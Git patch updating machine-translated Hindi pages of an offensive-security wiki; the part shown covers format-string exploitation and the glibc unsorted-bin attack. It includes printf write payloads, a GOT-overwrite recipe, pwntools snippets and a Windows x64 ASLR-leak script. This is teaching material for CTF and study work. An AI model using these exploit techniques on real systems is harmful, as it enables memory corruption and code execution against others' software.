From e5ab9776d31a01c030222b93f2107eb95ccf3034 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 12:45:36 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio --- .../format-strings/README.md | 97 +-- .../libc-heap/unsorted-bin-attack.md | 120 ++-- .../stack-overflow/README.md | 85 +-- .../stack-overflow/stack-shellcode/README.md | 67 +- .../stack-overflow/windows-seh-overflow.md | 64 +- .../phishing-documents.md | 62 +- .../privilege-escalation/README.md | 579 ++++++++-------- .../arm64-basic-assembly.md | 531 +++++++------- .../pentesting-web/README.md | 234 +++---- .../pentesting-web/apache.md | 80 +-- .../pentesting-web/ispconfig.md | 52 +- src/pentesting-web/command-injection.md | 27 +- src/pentesting-web/idor.md | 60 +- .../xs-search/css-injection/README.md | 200 +++--- .../xss-cross-site-scripting/README.md | 397 ++++++----- .../xss-cross-site-scripting/js-hoisting.md | 42 +- .../pentesting-ble-bluetooth-low-energy.md | 42 +- .../ad-certificates/README.md | 131 ++-- .../ad-certificates/domain-escalation.md | 506 +++++++------- .../uac-user-account-control.md | 156 ++--- .../README.md | 654 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 52 +- .../com-hijacking.md | 43 +- .../named-pipe-client-impersonation.md | 58 +- .../roguepotato-and-printspoofer.md | 49 +- 25 files changed, 2184 insertions(+), 2204 deletions(-) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 693c719bc..bd5c8a4f3 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## बुनियादी जानकारी -C में **`printf`** एक function है जो किसी string को **प्रिंट** करने के लिए उपयोग होता है। इस function का **पहला पैरामीटर** वह **raw text होता है जिसमें formatters होते हैं**। इसके **बाद के पैरामीटर्स** वे **values** होते हैं जो raw text में मौजूद formatters को **substitute** करने के लिए दिए जाते हैं। +C में **`printf`** एक फ़ंक्शन है जिसका उपयोग किसी string को **प्रिंट** करने के लिए किया जाता है। इस फ़ंक्शन से अपेक्षित **पहला पैरामीटर** वह **कच्चा टेक्स्ट है जिसमें formatters मौजूद होते हैं**। अपेक्षित **अगले पैरामीटर** वे **मान** होते हैं जिन्हें कच्चे टेक्स्ट के **formatters** में **प्रतिस्थापित** किया जाता है। -अन्य vulnerable functions हैं **`sprintf()`** और **`fprintf()`**। +अन्य कमजोर फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**। -यह vulnerability तब उत्पन्न होती है जब इस function के पहले argument के रूप में किसी attacker का text उपयोग किया जाता है। attacker एक विशेष input तैयार कर सकता है जो **printf format** string क्षमताओं का दुरुपयोग कर के किसी भी address से डेटा पढ़ने और किसी भी address में डेटा लिखने (पढ़ने/लिखने योग्य) की अनुमति देता है। इस तरह मनमाना कोड निष्पादित करना संभव हो जाता है। +यह कमजोरि तब प्रकट होती है जब इस फ़ंक्शन को पहला आर्ग्युमेंट के रूप में **हमलावर का टेक्स्ट** दिया जाता है। हमलावर printf format स्ट्रिंग क्षमताओं का दुरुपयोग करते हुए एक **विशेष इनपुट तैयार** कर सकेगा जिससे वह किसी भी एड्रेस से डेटा पढ़ने और किसी भी एड्रेस पर डेटा **लिखने** में सक्षम होगा (readable/writable)। इस तरह वह **arbitrary code को execute** करने में सक्षम हो सकता है। -#### फॉर्मैटर्स: +#### Formatters: ```bash %08x —> 8 hex bytes %d —> Entire @@ -24,7 +24,7 @@ C में **`printf`** एक function है जो किसी string क ``` **उदाहरण:** -- असुरक्षित उदाहरण: +- कमजोर उदाहरण: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. @@ -35,11 +35,11 @@ printf(buffer); // If buffer contains "%x", it reads from the stack. int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- आर्ग्यूमेंट्स गायब होने पर: +- तर्कों की कमी के साथ: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` -- fprintf कमजोर: +- fprintf असुरक्षित: ```c #include @@ -52,28 +52,28 @@ fclose(output_file); return 0; } ``` -### **Pointers तक पहुँच** +### **पॉइंटर्स तक पहुँच** -फॉर्मेट **`%$x`**, जहाँ `n` एक संख्या है, printf को बताता है कि वह stack से nवां parameter चुने। इसलिए अगर आप printf का उपयोग करके stack का चौथा param पढ़ना चाहते हैं तो आप कर सकते हैं: +फॉर्मैट **`%$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत देता है कि वह stack से n वाँ parameter चुने। तो यदि आप printf का उपयोग करके stack से 4th param पढ़ना चाहते हैं तो आप कर सकते हैं: ```c printf("%x %x %x %x") ``` और आप पहले से चौथे param तक पढ़ेंगे। -या आप ऐसा कर सकते हैं: +या आप यह कर सकते हैं: ```c printf("%4$x") ``` और सीधे चौथे को पढ़ें। -ध्यान दें कि attacker `printf` **parameter, जिसका मूलतः मतलब यह है कि** उसका input `printf` के कॉल होने पर stack में होगा, और इसका मतलब है कि वह stack में specific memory addresses लिख सकता है। +Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. > [!CAUTION] -> इस input को नियंत्रित करने वाला attacker stack में **arbitrary address जोड़ पाएगा और `printf` को उन्हें access करवाएगा**। अगले अनुभाग में बताया जाएगा कि इस व्यवहार का उपयोग कैसे करना है। +> यदि कोई attacker इस इनपुट को नियंत्रित करता है, तो वह **stack में arbitrary address जोड़ सकेगा और `printf` को उन्हें access करवा सकेगा**। अगले सेक्शन में इस व्यवहार का उपयोग कैसे किया जाए बताया जाएगा। ## **Arbitrary Read** -यह formatter **`%n$s`** का उपयोग करके संभव है ताकि **`printf`** उस **address** को प्राप्त करे जो **n position** में स्थित है, उसे follow करे और **उसे ऐसे प्रिंट करे जैसे वह एक string हो** (0x00 मिलने तक प्रिंट करेगा). इसलिए यदि binary का base address **`0x8048000`** है, और हमें पता है कि user input stack में 4th position से शुरू होता है, तो binary के शुरुआत को प्रिंट करना संभव है: +It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> ध्यान दें कि आप address 0x8048000 को input की शुरुआत में नहीं रख सकते क्योंकि string उस address के अंत में 0x00 में cat हो जाएगी। +> ध्यान दें कि आप address 0x8048000 को इनपुट की शुरुआत में नहीं रख सकते क्योंकि उस address के अंत में स्ट्रिंग 0x00 पर cat हो जाएगी. -### ऑफसेट खोजें +### ऑफ़सेट ढूँढें -अपने offset को खोजने के लिए आप 4 या 8 bytes (`0x41414141`) भेज सकते हैं, उसके बाद **`%1$x`** और मान बढ़ाते रहें जब तक कि `A's` न मिलें। +अपने इनपुट तक का ऑफ़सेट जानने के लिए आप 4 या 8 बाइट भेज सकते हैं (`0x41414141`) इसके बाद **`%1$x`** लगाएँ और **बढ़ाएँ** मान तब तक जब तक `A's` प्राप्त न हों।
@@ -126,45 +126,45 @@ p.close() ```
-### यह कितना उपयोगी है +### कितनी उपयोगी Arbitrary reads निम्नलिखित के लिए उपयोगी हो सकते हैं: -- मेमोरी से **binary** **Dump** करना -- मेमोरी के उन विशिष्ट हिस्सों तक पहुँच जहाँ संवेदनशील **info** संग्रहीत होता है (जैसे canaries, encryption keys या custom passwords जैसे इस [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** from memory +- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -फ़ॉर्मैटर **`%$n`** **लिखता है** स्टैक में पैरामीटर द्वारा संकेत किए गए **निर्दिष्ट पते** में लिखी गई **बाइट्स की संख्या**। यदि कोई attacker printf के साथ जितने भी char वह चाहे लिख सकता है, तो वह **`%$n`** से किसी भी पते में मनमाना मान लिखवा सकेगा। +The formatter **`%$n`** **लिखता है** stack के param में संकेतित उस **address** में लिखे गए **bytes** की संख्या। अगर कोई attacker printf के साथ जितने भी char चाहे लिख सकता है, तो वह **`%$n`** को किसी भी arbitrary number को किसी भी arbitrary address में लिखने के लिये इस्तेमाल कर सकेगा। -सौभाग्य से, संख्या 9999 लिखने के लिए इनपुट में 9999 "A" जोड़ने की आवश्यकता नहीं है; इसके लिए फ़ॉर्मैटर **`%.%$n`** का उपयोग किया जा सकता है ताकि वह संख्या **``** को उस **पते में लिखे जिसे `num` स्थिति सूचित करती है**। +सौभाग्य से, संख्या 9999 लिखने के लिए इनपुट में 9999 "A"s जोड़ने की आवश्यकता नहीं है; इसके बजाय formatter **`%.%$n`** का उपयोग करके आप संख्या **``** को उस **address pointed by the `num` position`** में लिख सकते हैं। ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -हालाँकि, ध्यान दें कि आम तौर पर किसी पते जैसे `0x08049724` (जो एक साथ लिखने के लिए एक बहुत बड़ा नंबर है) को लिखने के लिए **`$hn`** का उपयोग किया जाता है, `$n` के बजाय। इससे केवल 2 Bytes ही लिखने की अनुमति मिलती है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निचले 2B के लिए। +हालाँकि, ध्यान दें कि आम तौर पर किसी पते को जैसे `0x08049724` (जो एक बार में लिखने के लिए बहुत बड़ा नंबर है) लिखने के लिए **`$hn` का उपयोग किया जाता है** बजाय `$n` के। यह केवल **2 Bytes ही लिखने** की अनुमति देता है। इसलिए यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए। -इसलिए, यह vulnerability किसी भी address में किसी भी चीज़ को लिखने की अनुमति देती है (arbitrary write). +इसलिए, यह vulnerability किसी भी पते पर कुछ भी लिखने की अनुमति देती है (arbitrary write). -इस उदाहरण में लक्ष्य **GOT** टेबल में एक **function** के **address** को **overwrite** करना है, जो बाद में कॉल किया जाएगा। हालाँकि, यह अन्य arbitrary write-to-exec तकनीकों का भी दुरुपयोग कर सकता है: +In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -हम एक ऐसी **function** को **overwrite** करने जा रहे हैं जो अपने **arguments** उपयोगकर्ता से प्राप्त करती है और उसे **`system`** **function** की ओर **point** कर देंगे।\ -जैसा कि बताया गया, पता लिखने के लिए आम तौर पर 2 चरणों की आवश्यकता होती है: आप पहले पते के 2Bytes लिखते हैं और फिर बाकी के 2। इसके लिए **`$hn`** का उपयोग किया जाता है। +हम एक ऐसी **function** को **overwrite** करने जा रहे हैं जो अपने **arguments** **user** से **receives** करती है और उसे **`system`** **function** की ओर **point** कर देंगे।\ +जैसा कि बताया गया है, address लिखने के लिए आम तौर पर 2 कदम आवश्यक होते हैं: आप पहले address के **2Bytes** लिखते हैं और फिर बाकी के 2। इसके लिए **`$hn`** का उपयोग किया जाता है। -- **HOB** को पते के उच्च 2 bytes कहा जाता है -- **LOB** को पते के निम्न 2 bytes कहा जाता है +- **HOB** को address के उच्च 2 Bytes कहा जाता है +- **LOB** को address के निम्न 2 Bytes कहा जाता है -फिर, format string के काम करने के तरीके के कारण आपको \[HOB, LOB] में से सबसे छोटा पहले **लिखना** होगा और फिर दूसरा। +फिर, format string के काम करने के तरीके के कारण आपको [HOB, LOB] में से **सबसे छोटा पहले लिखना** होगा और फिर दूसरे को। -If HOB < LOB\ +यदि HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +यदि HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB @@ -173,14 +173,14 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + " ``` ### Pwntools टेम्पलेट -आप इस तरह की vulnerability के लिए exploit तैयार करने हेतु एक **टेम्पलेट** पा सकते हैं: +आप इस प्रकार की vulnerability के लिए exploit तैयार करने का एक **टेम्पलेट** यहाँ पा सकते हैं: {{#ref}} format-strings-template.md {{#endref}} -या इस बुनियादी उदाहरण को [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +या यह बुनियादी उदाहरण [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -201,24 +201,24 @@ p.interactive() ``` ## Format Strings to BOF -यह संभव है कि किसी format string vulnerability की write क्रियाओं का दुरुपयोग कर के **स्टैक के एड्रेस में लिखना** और किसी **buffer overflow** प्रकार की vulnerability का exploit करना। +यह संभव है कि किसी format string vulnerability की write actions का दुरुपयोग करके **write in addresses of the stack** किया जाए और एक **buffer overflow** प्रकार की vulnerability का exploit किया जाए। ## Windows x64: Format-string leak to bypass ASLR (no varargs) -On Windows x64 पहले चार integer/pointer पैरामीटर RCX, RDX, R8, R9 रजिस्टरों में पास होते हैं। कई buggy call-sites में attacker-controlled string को format argument के रूप में उपयोग किया जाता है, पर कोई variadic arguments प्रदान नहीं किए जाते, उदाहरण के लिए: +Windows x64 पर पहले चार integer/pointer पैरामीटर registers में पास किए जाते हैं: RCX, RDX, R8, R9। कई buggy call-sites में attacker-controlled string को format argument के रूप में उपयोग किया जाता है लेकिन कोई variadic arguments प्रदान नहीं किए जाते, उदाहरण के लिए: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -क्योंकि कोई varargs पास नहीं किए जाते, "%p", "%x", "%s" जैसे किसी भी conversion से CRT अगले variadic argument को उपयुक्त रजिस्टर से पढ़ेगा। Microsoft x64 calling convention के साथ "%p" के लिए ऐसी पहली read R9 से आती है। कॉल-साइट पर R9 में जो भी transient value होगी वह प्रिंट हो जाएगी। व्यवहार में यह अक्सर एक स्थिर in-module pointer leaks कर देता है (e.g., एक pointer जो आसपास के कोड द्वारा पहले R9 में रखा गया local/global object या कोई callee-saved value), जिसे module base को recover करने और ASLR को मात देने के लिए उपयोग किया जा सकता है। +चूँकि कोई varargs पास नहीं किए जाते हैं, कोई भी conversion जैसे "%p", "%x", "%s" CRT को उपयुक्त register से अगला variadic argument पढ़ने के लिए मजबूर करेगा। Microsoft x64 calling convention में "%p" के लिए ऐसा पहला read R9 से आता है। कॉल-साइट पर R9 में जो भी अस्थायी मान होगा वह प्रिंट होगा। व्यवहार में यह अक्सर एक स्थिर in-module pointer को leak कर देता है (उदाहरण के लिए, एक pointer to a local/global object जो पहले surrounding code द्वारा R9 में रखा गया था या एक callee-saved value), जिसे module base को recover करने और ASLR को मात देने के लिए उपयोग किया जा सकता है। Practical workflow: -- हमलावर-नियंत्रित स्ट्रिंग की बिल्कुल शुरुआत में '%p ' जैसा हानिरहित format inject करें ताकि पहला conversion किसी भी filtering से पहले execute हो जाए। -- leaked pointer को capture करें, module के अंदर उस object का static offset पहचानें (symbols या स्थानीय कॉपी के साथ एक बार reverse करके), और image base को `leak - known_offset` के रूप में recover करें। -- उस base का पुन: उपयोग करके ROP gadgets और IAT entries के absolute addresses रिमोटली compute करें। +- सबसे शुरुआत में attacker-controlled string में "%p " जैसा harmless format inject करें ताकि पहला conversion किसी भी filtering से पहले execute हो जाए। +- leaked pointer को capture करें, उस object का static offset module के अंदर पहचानें (symbols के साथ या एक local copy का उपयोग करके एक बार reversing करके), और image base को `leak - known_offset` के रूप में recover करें। +- उस base को reuse करके ROP gadgets और IAT entries के absolute addresses remotely compute करें। Example (abbreviated python): ```python @@ -232,12 +232,12 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -नोट: -- घटाने के लिए सटीक offset स्थानीय reversing के दौरान एक बार पाया जाता है और फिर पुन: उपयोग किया जाता है (same binary/version). -- अगर "%p" पहली कोशिश में एक वैध pointer प्रिंट नहीं करता है, तो अन्य specifiers ("%llx", "%s") या multiple conversions ("%p %p %p") आज़माएँ ताकि अन्य argument registers/stack को sample किया जा सके। -- यह pattern Windows x64 calling convention और printf-family implementations के लिए specific है, जो जब format string उन्हें मांगती है तो मौजूद नहीं varargs को registers से fetch करती हैं। +Notes: +- The exact offset to subtract is found once during local reversing and then reused (same binary/version). +- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack. +- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them. -यह technique ROP को bootstrap करने के लिए बेहद उपयोगी है, खासकर Windows services पर जो ASLR के साथ compile किए गए हों और जिनमें कोई स्पष्ट memory disclosure primitives न हों। +This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives. ## अन्य उदाहरण और संदर्भ @@ -245,13 +245,14 @@ print(hex(leaked), hex(base)) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, format strings का basic उपयोग stack से flag को leak करने के लिए (execution flow को बदलने की आवश्यकता नहीं) +- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string का उपयोग `fflush` के address को overwrite करने के लिए ताकि win function को point किया जा सके (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string का प्रयोग main के अंदर `.fini_array` में एक address लिखने के लिए (इससे flow एक बार और loop करेगा) और GOT table में `strlen` को point करने वाली entry में `system` का address लिखना। जब flow वापस main में जाएगा, `strlen` user input के साथ execute होगा और क्योंकि वह अब `system` को point कर रहा होगा, यह पास किए गए commands को execute कर देगा। +- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. -## संदर्भ + +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index 45eed1970..928a2060a 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,68 +4,68 @@ ## बुनियादी जानकारी -Unsorted bin क्या है इसके बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें: +For more information about what is an unsorted bin check this page: {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists `unsorted_chunks (av)` के पते को chunk के `bk` एड्रेस में लिखने में सक्षम होती हैं। इसलिए, यदि एक attacker किसी chunk के अंदर unsorted bin में `bk` pointer का address बदल सके, तो वह उस address को arbitrary address में लिखने में सक्षम हो सकता है जो Glibc addresses को leak करने या कुछ defenses को bypass करने में मददगार हो सकता है। +Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense. -संक्षेप में, यह attack arbitrary address पर एक बड़ा नंबर सेट करने की अनुमति देता है। यह बड़ा नंबर एक address होता है, जो heap address या Glibc address हो सकता है। पारंपरिक लक्ष्य अक्सर **`global_max_fast`** था ताकि fast bin बड़ाई जा सके (और unsorted bin attack से fast bin attack में परिवर्तित किया जा सके)। +So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack). -- Modern note (glibc ≥ 2.39): `global_max_fast` अब एक 8‑bit global बन गया है। unsorted‑bin write के जरिए वहाँ pointer लिखने से आसपास के libc डेटा corrupt होंगे और fastbin limit को विश्वसनीय रूप से बढ़ाना अब संभव नहीं रहेगा। चल रहे संस्करणों पर अन्य targets या primitives चुनें। नीचे "Modern constraints" देखें और एक stable primitive मिलने पर इसे [large bin attack](large-bin-attack.md) या [fast bin attack](fast-bin-attack.md) जैसी अन्य techniques के साथ combine करने पर विचार करें। +- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. > [!TIP] -> T> https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle पर दिए उदाहरण को देखकर और chunk sizes के लिए 0x400 और 0x500 की जगह 0x4000 और 0x5000 इस्तेमाल करने (ताकि Tcache से बचा जा सके) पर आप देखेंगे कि **आधुनिक समय में** error **`malloc(): unsorted double linked list corrupted`** trigger होती है। +> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered. > -> इसलिए, यह unsorted bin attack अब (अन्य checks के साथ) दो-तरफ़ा linked list को ठीक करने की आवश्यकता भी रखता है ताकि यह bypass किया जा सके — यानी `victim->bk->fd == victim` या `victim->fd == av (arena)` verify हो। इसका मतलब है कि जिस address में आप लिखना चाहते हैं उसके `fd` position में fake chunk का address होना चाहिए और fake chunk का `fd` arena की तरफ इशारा करना चाहिए। +> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena. > [!CAUTION] -> ध्यान दें कि यह attack unsorted bin (और इसी के कारण small और large भी) को corrupt करता है। इसलिए अब हम केवल fast bin से allocations का उपयोग कर सकते हैं (एक जटिल प्रोग्राम अन्य allocations करेगा और crash कर सकता है), और इसे ट्रिगर करने के लिए हमें वही size allocate करनी होगी वरना प्रोग्राम crash करेगा। +> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.** > -> यह भी ध्यान दें कि **`global_max_fast`** को overwrite करना इस केस में मदद कर सकता है, यह मानते हुए कि fast bin exploit पूरा होने तक बाकी allocations को संभाल लेगा। +> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed. -यहां [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) का कोड इसे बहुत अच्छे से समझाता है, हालांकि अगर आप mallocs को इतना बड़ा बदल दें कि वे Tcache में न पड़ें तो आप ऊपर बताए error को देखेंगे: **`malloc(): unsorted double linked list corrupted`** +The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`** -### लिखाई असल में कैसे होती है +### How the write actually happens -- Unsorted‑bin write `free` पर trigger होती है जब freed chunk unsorted list के head में insert किया जाता है। -- insertion के दौरान allocator यह करता है: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` -- अगर आप `free(victim)` कॉल करने से पहले `victim->bk` को `(mchunkptr)(TARGET - 0x10)` सेट कर सकें, तो अंतिम statement यह write करेगा: `*(TARGET) = victim`। -- बाद में, जब allocator unsorted bin को process करता है, तो integrity checks यह verify करेंगे (अन्य चीजों के साथ) कि `bck->fd == victim` और `victim->fd == unsorted_chunks(av)` unlink करने से पहले। क्योंकि insertion पहले ही `bck->fd` (हमारा `TARGET`) में `victim` लिख चुका होता है, ये checks तब सफल हो सकते हैं अगर write सफल रही। +- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list. +- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` +- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`. +- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded. -## आधुनिक बाधाएँ (glibc ≥ 2.33) +## आधुनिक सीमाएँ (glibc ≥ 2.33) -वर्तमान glibc पर unsorted‑bin writes को भरोसेमंद रूप से उपयोग करने के लिए: +To use unsorted‑bin writes reliably on current glibc: -- Tcache हस्तक्षेप: उन sizes के लिए जो tcache में आते हैं, frees वहाँ divert हो जाते हैं और unsorted bin को नहीं छूते। या तो - - requests को > MAX_TCACHE_SIZE (64‑bit पर डिफ़ॉल्ट ≥ 0x410) बनाएं, या - - संबंधित tcache bin (7 entries) भर दें ताकि अतिरिक्त frees global bins तक पहुँचें, या - - अगर environment controllable है तो tcache disable करें (जैसे GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- unsorted list पर integrity checks: अगली allocation path जो unsorted bin की जाँच करती है, glibc check करता है (सरल रूप में): - - `bck->fd == victim` और `victim->fd == unsorted_chunks(av)`; अन्यथा यह `malloc(): unsorted double linked list corrupted` के साथ abort कर देता है। -- इस बात का अर्थ है कि आपका target address दो writes सहन कर सके: पहले free‑time पर `*(TARGET) = victim`; बाद में जब chunk remove होगा तब allocator `*(TARGET) = unsorted_chunks(av)` करेगा (allocator `bck->fd` को फिर से bin head पर rewrite करता है)। ऐसे targets चुनें जहाँ केवल एक बड़ा non‑zero value थोपना उपयोगी हो। -- आधुनिक exploits में सामान्य और स्थिर targets - - Application या global state जो "large" values को flags/limits की तरह treat करता है। - - परोक्ष primitives (उदाहरण के लिए, बाद के लिए सेटअप करना जैसे [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) या किसी बाद वाले write‑what‑where को pivot करना)। - - नए glibc पर `__malloc_hook`/`__free_hook` से बचें: ये 2.34 में हटाए जा चुके हैं। ≥ 2.39 पर `global_max_fast` से बचें (ऊपर नोट देखें)। -- हाल के glibc पर `global_max_fast` के बारे में - - glibc 2.39+ पर `global_max_fast` एक 8‑bit global है। इसमें heap pointer लिखने की क्लासिक trick अब साफ़ रूप से काम नहीं करती और आस-पास के allocator state को corrupt करने की संभावना रहती है। अन्य रणनीतियाँ अपनाएँ। +- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either +- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or +- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or +- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified): +- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`. +- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful. +- Typical stable targets in modern exploits +- Application or global state that treats "large" values as flags/limits. +- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where). +- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note). +- About `global_max_fast` on recent glibc +- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies. ## Minimal exploitation recipe (modern glibc) 